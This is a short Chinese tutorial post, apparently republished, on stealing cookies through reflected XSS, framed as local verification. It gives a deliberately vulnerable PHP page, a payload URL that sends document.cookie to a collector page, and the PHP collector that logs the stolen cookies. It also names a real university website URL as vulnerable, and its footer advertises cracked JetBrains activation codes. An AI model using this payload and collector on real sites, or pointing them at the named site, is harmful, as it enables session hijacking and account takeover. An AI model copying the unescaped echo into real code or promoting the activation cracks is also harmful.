反射型xss偷取cookie(本地验证)

反射型xss偷取cookie(本地验证)原理反射型xss为危害之一就是:用户在登录的情况下点击了黑客发送的链接,就会导致该网址的cookie泄露,导致帐号被黑客登录。

大家好,又见面了,我是你们的朋友全栈君。

原理

反射型xss 为危害之一就是:用户在登录的情况下点击了黑客发送的链接,就会导致该网址的cookie泄露,导致帐号被黑客登录。

本地验证

xss漏洞地址:http://localhost/njuptsta/xss/reflect_xss.php?name=1
黑客收集cookie地址:http://localhost/1.php?c=
构造的url exploit :

值得注意的一点:

shellcode里面cookie和原始url连接的时候,用的是+
然而在浏览器的地址栏里,+可能被解析成空格。
所以我们需要把+替换成url编码%2b
这一点值得注意,花了两个晚上最后还是求助的别人才发现的。
—2015年11月16号更新。

http://localhost/njuptsta/xss/reflect_xss.php?name=1<script>document.location="http://localhost/1.php?c="%2bdocument.cookie</script>

源码:反射型xss漏洞

将用户输入显示在当前页面,存在反射型xss漏洞。

<html>
<body>
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
</head>
<form method = "get" action = "reflect_xss.php">
反射型xss<br>
<input type = "text" name = "name"><br>
<input type = "submit">
</form>
<?php echo $_GET['name']; ?>
</body>
</html>

源码:黑客收集cookie

<?php $cookie = $_GET['c']; $myfile = fopen("testfile.txt", "a"); fwrite($myfile, "cookie:".$cookie."\n"); fclose($myfile); ?>

反射型xss漏洞存在地址:

http://jwc.shcmusic.edu.cn/plus/Search.asp?searchtype=1&channelid=1&KeyWord=123

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/142952.html原文链接:https://javaforall.cn

【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛

【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...

(0)


相关推荐

  • C程序编译过程浅析

    前几天看了《程序员的自我修养——链接、装载与库》中的第二章“编译和链接”,主要根据其中的内容简单总结一下C程序编译的过程吧。我现在一般都是用gcc,所以自然以GCC编译hellworld为例,简单总

    2021年12月25日
  • 亿图2021激活码【最新永久激活】「建议收藏」

    (亿图2021激活码)这是一篇idea技术相关文章,由全栈君为大家提供,主要知识点是关于2021JetBrains全家桶永久激活码的内容IntelliJ2021最新激活注册码,破解教程可免费永久激活,亲测有效,下面是详细链接哦~https://javaforall.cn/100143.html1STL5S9V8F-eyJsa…

  • 爬虫最终杀手锏 — PhantomJS 详解(附案例)

    爬虫最终杀手锏 — PhantomJS 详解(附案例)一.认识Phantomjs1.Phantomjs:无界面的浏览器Selenium: 可以根据我们的指令,让浏览器自动加载页面,获取需要的数据,甚至页面截屏,或者判断网站上某些动作是否

  • poe网线水晶头接法顺序_水晶头和网络插座接线是一样的吗

    poe网线水晶头接法顺序_水晶头和网络插座接线是一样的吗现在有很多有POE网线供电的网络设备例如监控摄像头布线只需要拉一根网线就可以解决供电和数据线路,很多路由器AP也有POE供电的只需要接一根网线就可以,POE供电的设备水晶头针脚一般用蓝,白蓝,白棕,棕,的这四根的其中两根或者四根,具体看设备的规范了,有些POE设备用蓝色和棕色传输。…

  • linux的vi命令详解_centos7 vi命令

    linux的vi命令详解_centos7 vi命令Linux命令-vi命令  vi编辑器是所有Unix及Linux系统下标准的编辑器,它的强大不逊色于任何最新的文本编辑器.由于对Unix及Linux系统的任何版本,vi编辑器是完全相同的,因此您可以在其他任何介绍vi的地方进一步了解它。Vi也是Linux中最基本的文本编辑器.。1.语法:vi[参数][文件名称]…2.功能:  编辑文件。3.参数:n打印最近的n条历史命令。-N显示历史记录中最近的N个记录。-c清空当前历史命令。-a将目前新增的历史

  • SQLSTATE[HY000] [2002] 错误

    SQLSTATE[HY000] [2002] 错误

    2021年10月17日

发表回复

您的电子邮箱地址不会被公开。

关注全栈程序员社区公众号